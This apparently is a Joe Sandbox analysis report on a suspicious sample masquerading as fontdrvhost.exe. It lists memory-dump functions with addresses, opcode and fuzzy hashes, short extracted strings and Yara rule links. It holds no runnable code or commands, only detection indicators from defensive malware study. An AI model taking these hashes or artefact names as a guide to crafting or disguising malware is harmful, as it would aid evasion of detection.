Similarity

API ID:
String ID: 87a4
API String ID: 0-1756189204
Opcode ID: b2e738a06c9d9921ee239ad7e5fecb95478410be6e51c02a858c371ae4ef75ab
Instruction ID: 818f46390e38e40795060a024f3bed51fbb1c5008beefadabe21148043cc9329
Opcode Fuzzy Hash: b2e738a06c9d9921ee239ad7e5fecb95478410be6e51c02a858c371ae4ef75ab
Instruction Fuzzy Hash: A521F621F1C9190FF758F76C90AA67576D6EB9A331F5005B9E50DC32E3DD2CAC418681

Function 00007FFD34560E43 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0dce7c9f6ef5fbe29881915be5e7fd705562e82539477b15f29e554268e2948
Instruction ID: dd15bf75795caa546e9ea66abc490a4521167095b4bf32d86410a627f9440110
Opcode Fuzzy Hash: f0dce7c9f6ef5fbe29881915be5e7fd705562e82539477b15f29e554268e2948
Instruction Fuzzy Hash: D241C472A1CA8E8BE799DB5C88657E9BFE1FB96324F4002AAD049D73D1CE7D1815C700

Function 00007FFD34560908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction ID: 05a90d4d70d8b2052adf006a9099d1ea44fe35d62e3abbf4947dfb527d74df3a
Opcode Fuzzy Hash: 70b39af699e79c17fd18832147968019b6e7dd1b1b2a1a1ad00ae19ae8ffb0f7
Instruction Fuzzy Hash: C321073170DC184FE768EA0CE88ADB973D1EF9A32131111BAE58EC7166E915FC8287C1

Function 00007FFD34560C25 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ee992d48ce40efb8b56e2b80662a6d8814d1dede73db94a8983a1e71899b25
Instruction ID: 8e6dbb530fc6496405b9985901f6bca5b991d77022cc67ebc2ec0e575901d0be
Opcode Fuzzy Hash: 81ee992d48ce40efb8b56e2b80662a6d8814d1dede73db94a8983a1e71899b25
Instruction Fuzzy Hash: 7721B127F0D6899FE713A76898610EDBB60EF53330F1452B2D148CA192DA2C69469681

Function 00007FFD345646FE Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd324d9f0fcbe24f5ec4be7d69cc0d41fa31b05318bfb7aeffe34a1140a2ef8
Instruction ID: bfc2cdc866be95d5a932126b1e5b8a49613291bbe1902d7103a215f36ff305fc
Opcode Fuzzy Hash: 2cd324d9f0fcbe24f5ec4be7d69cc0d41fa31b05318bfb7aeffe34a1140a2ef8
Instruction Fuzzy Hash: F0216831E0C82E4EEB95EB18D8A46B862E1FF57321F5421B9D54EE3292DF2C6C419744

Function 00007FFD345608F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction ID: 5259cad82f6ded46ae330144746009d48002be112cdc8c684a468471eea4e256
Opcode Fuzzy Hash: cf4f3c26d9e1a3cdb7077d93d1b43c366cfb3a3d234172c17bd15baeda0a5078
Instruction Fuzzy Hash: F501F732F4E92D0B9669D41D989A936B3C2DBCBB307152279E98FC3245DD28AC5356C0

Function 00007FFD34560C38 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26cd31a007bd143943e23dd972c97510eb7acdbfa02cbfefbe7b7e9c8eae5bc
Instruction ID: 6201d993d8fc003ef434820ecf6f20fed1ae0bc34c3b8ca029e66b1ddafab57d
Opcode Fuzzy Hash: e26cd31a007bd143943e23dd972c97510eb7acdbfa02cbfefbe7b7e9c8eae5bc
Instruction Fuzzy Hash: AE11A036F0E68D9FF713DB2888A11ADBFA0EF43720F1555B2C144DB192EA3C5A469781

Function 00007FFD34560C48 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cb90daa4278aadba33b2ae909e710c06c14e580c5852a5b5d00613605b38984
Instruction ID: 41562da05579added6d87a0087471974e0f594298f5713fbf2fa797b637c9cab
Opcode Fuzzy Hash: 8cb90daa4278aadba33b2ae909e710c06c14e580c5852a5b5d00613605b38984
Instruction Fuzzy Hash: 15016936E0D2899FEB12DB6888A009DBFB0AF43320F1551B6C544DB192EA3C5A45EB81

Function 00007FFD3456480A Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f859a5656836d77494a98f94a1655e68e525d03b7fd17e3130365e9a7ebba587
Instruction ID: 402209cd714baf1f9c6315894657b9ddb7ed46ae0655a2723fb04b5860e3d389
Opcode Fuzzy Hash: f859a5656836d77494a98f94a1655e68e525d03b7fd17e3130365e9a7ebba587
Instruction Fuzzy Hash: BA016D31F0C41A4FEA99FB2894A46B862D2EF57321F0550B5D54ED3292DE2CAC429644

Function 00007FFD34560C50 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1148d6377518ce851e27891ff249282026dafd9fb6c473c557b6f80bfa0906b1
Instruction ID: 2daa9ec87ee28ae2cbba66ac538e2116de47b4015cf53b187475cbab50b52308
Opcode Fuzzy Hash: 1148d6377518ce851e27891ff249282026dafd9fb6c473c557b6f80bfa0906b1
Instruction Fuzzy Hash: CA015A35E0D3899FEB12DB6888A409DBFB0AF03320F1451E6C544DB192EA3C5A44E741

Function 00007FFD345647D6 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction ID: 8763f95ddf90e4aea5c17e129fe925895bd5189fe5287db146f6a03a5ebaa79a
Opcode Fuzzy Hash: 1a3e1c098371154e84161bfe5def8e367da0d0abf3e15046623435b37b434a1b
Instruction Fuzzy Hash: 17F05431F0C4294AEB96EA14D8A46B86391EF57331F1421B9D94ED31D2CE2C6D835648

Function 00007FFD3456393E Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction ID: 90851bd60e6674cc9f421617cbf7425d049d199c3d12c1ca61b2ee90d0651e7c
Opcode Fuzzy Hash: 0fa61e1bc2d34c25b291fb6c8e3c7e53dd1c83a71e6d7df43dcb9f134149b047
Instruction Fuzzy Hash: 4DF01C31E0C0064BFB959644C4A0BBA33A5DF56320F181079DA4ED32C1DD2CA9419709

Function 00007FFD345659AC Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 425f76dd92ec4dd36934a5d1b63a7046f68d1f9976dc512e753f6ec639e6dc14
Instruction ID: c7bfb65fa7422a5c6158f945e4b3efc4ea4207003c6022c1ea6b0e75bc457a81
Opcode Fuzzy Hash: 425f76dd92ec4dd36934a5d1b63a7046f68d1f9976dc512e753f6ec639e6dc14
Instruction Fuzzy Hash: F7E0CD21F0C85B07F669E754C4766BC51926F84315F8411B5D60CE72D3DD2C6F0583C1

Function 00007FFD34560B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1655bf586bd510a0444da9578f040976055379fdba1b0be01a33af2343bf41be
Instruction ID: 97261e78cb310111d530b83f7af1a2dd14e57a6d62dddd683722aa4715897ae2
Opcode Fuzzy Hash: 1655bf586bd510a0444da9578f040976055379fdba1b0be01a33af2343bf41be
Instruction Fuzzy Hash: ABD0A73066954A4FDA01B73CC8898547BA0EB0F224BD510F1D009C7561D50D4C558B00

Function 00007FFD34560CBF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction ID: 742d2502906de8fc2a2c6c1b05cb9bbd5b5e2fb4d8f3e1f54805611e23c2c237
Opcode Fuzzy Hash: 623355c4c761995da0b65237a2ec80d23bbe5063140a0c10700039931d7a4e64
Instruction Fuzzy Hash: C9E01735F0960ACBFB01EB54C4D46AEB7A1EB52721F1082B5C501C7289DB7CA684EA80

Function 00007FFD345606A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction ID: de2ea020ad61640ef8e40a0b67cdc873ade2ef5fac3099df56b1d3f84cd23727
Opcode Fuzzy Hash: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
Instruction Fuzzy Hash: BFC04C06F5E51F01B417B56E54E60ACB2415BD7A70FD52172D70CD10C19D8D20D5A156

Function 00007FFD345612E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction ID: a50990506d9201a2f15d54500c1484066e0405552ff1ffe2eb2556d764c299cd
Opcode Fuzzy Hash: 3ad9b737f9d3a71b5a47652e042b9bbfd47591b0a6598e927983330d6249448c
Instruction Fuzzy Hash: 88C04C34A518098FCA48EB69C89591477A0FB1A215BD61190E409C7271E65DDCD5D741

Function 00007FFD345606C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction ID: b3c5cdccc0aa1ee8565224c2d76708e0fed1863bf9f8249f2238a3161b01cd25
Opcode Fuzzy Hash: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
Instruction Fuzzy Hash: 88B01200D6640F00A40A357A08D20A470405B46120FC02070D60CC1081988D10942242

Non-executed Functions

Function 00007FFD345609B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

#{9, xrefs: 00007FFD34560B3E
"s9, xrefs: 00007FFD34560B46
c9, xrefs: 00007FFD34560B56
!k9, xrefs: 00007FFD34560B4E

Memory Dump Source

Source File: 00000019.00000002.2382409923.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffd34560000_AdbXCBUViTnoVBSsOq.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 9bc2b293896c0baef41746b4921a91980c9f281a934a55c9448ee0fb6a910f5c
Instruction ID: 7f7c9cd1ebcbb4773652999d575a23293d0b24c1fb6050a7d2b30b96cbfc5eb1
Opcode Fuzzy Hash: 9bc2b293896c0baef41746b4921a91980c9f281a934a55c9448ee0fb6a910f5c
Instruction Fuzzy Hash: BE419407F1D46B67EA2A37FD74611FE6B889FA2375B084377E14C990E34D0CA88582E5

Analysis Process: fontdrvhost.exePID: 6528, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD34560D48 Relevance: 1.5, Strings: 1, Instructions: 262COMMON

Download Yara Rule

Strings

5Y_H, xrefs: 00007FFD34560DF3

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: 22d5aa4240c2d06ce25f161dc1babd447f9b7fa076488c09736abae15ab5bf01
Instruction ID: 0d7a6c124fa4bb30a10ba1f1c9575ea556581adcfc6e2c382a70c64a525418ad
Opcode Fuzzy Hash: 22d5aa4240c2d06ce25f161dc1babd447f9b7fa076488c09736abae15ab5bf01
Instruction Fuzzy Hash: 1591D572A1CA998FE799DB6C88A57A97FE1FB56310F4402BAD049D72E2DF7D1800C700

Function 00007FFD345912E5 Relevance: .5, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c3eae723d49ab7ba9e4c832991a03d1e3265d844378868f3c1985d4ab712f4
Instruction ID: fa1945ab3431f7883eeec910ad59c85efda035f426f13613813227cc43e0a332
Opcode Fuzzy Hash: 56c3eae723d49ab7ba9e4c832991a03d1e3265d844378868f3c1985d4ab712f4
Instruction Fuzzy Hash: EED16C25E2D6A60BF32E492848A31B577A1EB93205B2D53BDCEDBC75C7DC1C680792C1

Function 00007FFD34560E43 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17d228ab5f6af5de8d42cc1cab218942b3ed6e5c873c181b82b300759464fb3f
Instruction ID: 0d9e2149e75c0619702a85af6a73f5bc8e1223d693756be6875e49a5b5dba220
Opcode Fuzzy Hash: 17d228ab5f6af5de8d42cc1cab218942b3ed6e5c873c181b82b300759464fb3f
Instruction Fuzzy Hash: 0E51C172A18A5A8EE798DF5C88A57A9BFD1FB96320F4002BED049D77D1DBB91411C700

Function 00007FFD34570CFC Relevance: 8.4, Strings: 6, Instructions: 942COMMON

Download Yara Rule

Strings

pqa4, xrefs: 00007FFD3457125A
P\a4, xrefs: 00007FFD34571398
wa4, xrefs: 00007FFD34571309
*`4, xrefs: 00007FFD34570CF3
PXa4, xrefs: 00007FFD34570D6F
HIa4, xrefs: 00007FFD34570BF1

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: *`4$HIa4$PXa4$P\a4$pqa4$wa4
API String ID: 0-3421069954
Opcode ID: edd1dd5c5ea5b1b0628afcb3ae25f2a5457a88fc82449f5fe66891141076ac5d
Instruction ID: aa736826f0a8059433f1aa5750e5f45f2c7c8f3770f6e02564e07edced19a50a
Opcode Fuzzy Hash: edd1dd5c5ea5b1b0628afcb3ae25f2a5457a88fc82449f5fe66891141076ac5d
Instruction Fuzzy Hash: 4A62C221F1C91A4BEB99EB2C88E66B877D2FF95350F0445B9D10DD3292DE2CBC819B41

Function 00007FFD34571305 Relevance: 2.8, Strings: 2, Instructions: 275COMMON

Download Yara Rule

Strings

P\a4, xrefs: 00007FFD34571398
wa4, xrefs: 00007FFD34571309

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: P\a4$wa4
API String ID: 0-1460514738
Opcode ID: b97b6dfdeb44d52f7de8e4c65c897a987f59e99a7846baede782048e2ef77c93
Instruction ID: b4fe74e86620093e188b58040f647469ebb9442d6fd988a4c0098000bcd87208
Opcode Fuzzy Hash: b97b6dfdeb44d52f7de8e4c65c897a987f59e99a7846baede782048e2ef77c93
Instruction Fuzzy Hash: B8919131F1C90A4BEB99EF2888E167877E2FF95310F5445B9D04ED3282DE2CAC429B41

Function 00007FFD345935F5 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

@aD4, xrefs: 00007FFD34593678

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: @aD4
API String ID: 0-1189369986
Opcode ID: e00c8f75306acc8ed76c4a5a66831b5e760a8a5d0d18f7665462425984e69e05
Instruction ID: b9c65bd4fa050a338c83a5995d978e30df5a58d65e3524e6fa9910025258a633
Opcode Fuzzy Hash: e00c8f75306acc8ed76c4a5a66831b5e760a8a5d0d18f7665462425984e69e05
Instruction Fuzzy Hash: 3291D421F1C94A4FEB9DEB2884B627576E1EFAA300F0441BAE54DC72C7DD2CAC459781

Function 00007FFD34560998 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

87a4, xrefs: 00007FFD3456B035

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34560000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 87a4
API String ID: 0-1756189204
Opcode ID: 5f746f33a5758263a12db587e667834e1da6f90c70b4e2d9c5dcba44f53ee52c
Instruction ID: f0295385888bc102a9139df7fa104940b9bb97b0f43e05e54361d102ad45afd9
Opcode Fuzzy Hash: 5f746f33a5758263a12db587e667834e1da6f90c70b4e2d9c5dcba44f53ee52c
Instruction Fuzzy Hash: 2E212821B5C9194FF788FB2C80AA6B577C6DB99331F5000B9E40DC32E3DE2CAC818681

Function 00007FFD3459D9D8 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD3459D9E4

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 00aa83b5a87cb196ae42f3845d0f9fe301abbad2ab879674af1d5776a6999ea8
Instruction ID: 02d4b6ffe16e02470cd91f550bd0a0de1a727a5c83d3796cc7f72ecf5798393d
Opcode Fuzzy Hash: 00aa83b5a87cb196ae42f3845d0f9fe301abbad2ab879674af1d5776a6999ea8
Instruction Fuzzy Hash: 99019A31F0851A8BEB999A18D4A53FD73E1EF85300F440039E209D72C1CE2CA888C780

Function 00007FFD3459A649 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD3459A666

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 3cdca01616814c9c0517f5651d5cb60281db3131add8036b17ac6baf02edda43
Instruction ID: c37388d79ee6114d04c95b876a493dd134dbb7c64b203bbb288356bb706e655f
Opcode Fuzzy Hash: 3cdca01616814c9c0517f5651d5cb60281db3131add8036b17ac6baf02edda43
Instruction Fuzzy Hash: 94F0656190E7C44FCB16DA3888694557FA0EF6720174A52EEC045CF1A3EA1DD885C711

Function 00007FFD34591EF9 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD34591F16

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: caec905013c34235ab15f3c7ddfec50e83176b344827737a1c9c8424fca9d588
Instruction ID: f30fcbc5a71dba2870769358b87ffc4f3834dd58e6427fa43758bd00718690f9
Opcode Fuzzy Hash: caec905013c34235ab15f3c7ddfec50e83176b344827737a1c9c8424fca9d588
Instruction Fuzzy Hash: 0EF06D61A0E3C44FCB16AA348869455BFA0EF6721174A51EFC046CF1A3EA2D8889C701

Function 00007FFD34573F09 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD34573F26

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: d71f91e2e835abecfea5e4f0ba85d64d0e321eb78f78bf8e6aa98e64a2dbe1d2
Instruction ID: a6a1eaa30195cba23ff3e19a8bc8304a73dd5d9be99fdba7f704f2fcb5a50227
Opcode Fuzzy Hash: d71f91e2e835abecfea5e4f0ba85d64d0e321eb78f78bf8e6aa98e64a2dbe1d2
Instruction Fuzzy Hash: ADE0657190E7C04FC716963888684547FA0EF6721174A41EEC145CF1A3DA2D8885CB01

Function 00007FFD34593129 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD34593146

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 8493884666dc4495784bf642fb0ac18361169cffd7cf1fa79f62da1dcb6f9ef9
Instruction ID: 5c093b810b37c9ef895bb1ba65b2939c0a8c9fe65f3e1222c45bcbc83a90ed69
Opcode Fuzzy Hash: 8493884666dc4495784bf642fb0ac18361169cffd7cf1fa79f62da1dcb6f9ef9
Instruction Fuzzy Hash: 64E06D71A8E7C44FC71AEA348869454BFA0EF6721174A42EFC145CF1A3EA2D8885CB01

Function 00007FFD3459A719 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD3459A736

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 6fb1f855709a8178938af368ebb7aa2d88bd99c434803adf40655ea3f3de48b3
Instruction ID: 794fcf4b060ee13c197552fed768c3636b1d405bf0ebf974696a2e3ad077a457
Opcode Fuzzy Hash: 6fb1f855709a8178938af368ebb7aa2d88bd99c434803adf40655ea3f3de48b3
Instruction Fuzzy Hash: 2EE0657150E7C44FC716973448694547FB0EF6720174A45EEC145CF1A3EA2E8885C701

Function 00007FFD345983B9 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD345983D6

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34591000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34591000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34591000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 0b95c9cc8f2145e63a0b8746f5fa85fc54f13d4c9488f68181c3fc72e01284e7
Instruction ID: 8686edcc80d0f43b1fa7416d12e5bcff0b5be9f0b900bf1eaf9d4ecd295c0766
Opcode Fuzzy Hash: 0b95c9cc8f2145e63a0b8746f5fa85fc54f13d4c9488f68181c3fc72e01284e7
Instruction Fuzzy Hash: 82E01A7294E3C04FCB16AB3488668553FB0EE6721078A54EEC189CF1B3E72D9849C711

Function 00007FFD34573F99 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD34573FB6

Memory Dump Source

Source File: 0000001E.00000002.2382413565.00007FFD34570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_7ffd34570000_fontdrvhost.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 59b7dfc1d740e6117499110eec08b7c4ad22f7be598671c81746b1a3f00d1ce2
Instruction ID: 89e13b9c939c91605094901d6f6368b7df9877aea4a6b4545442dbefaf09ffee
Opcode Fuzzy Hash: 59b7dfc1d740e6117499110eec08b7c4ad22f7be598671c81746b1a3f00d1ce2
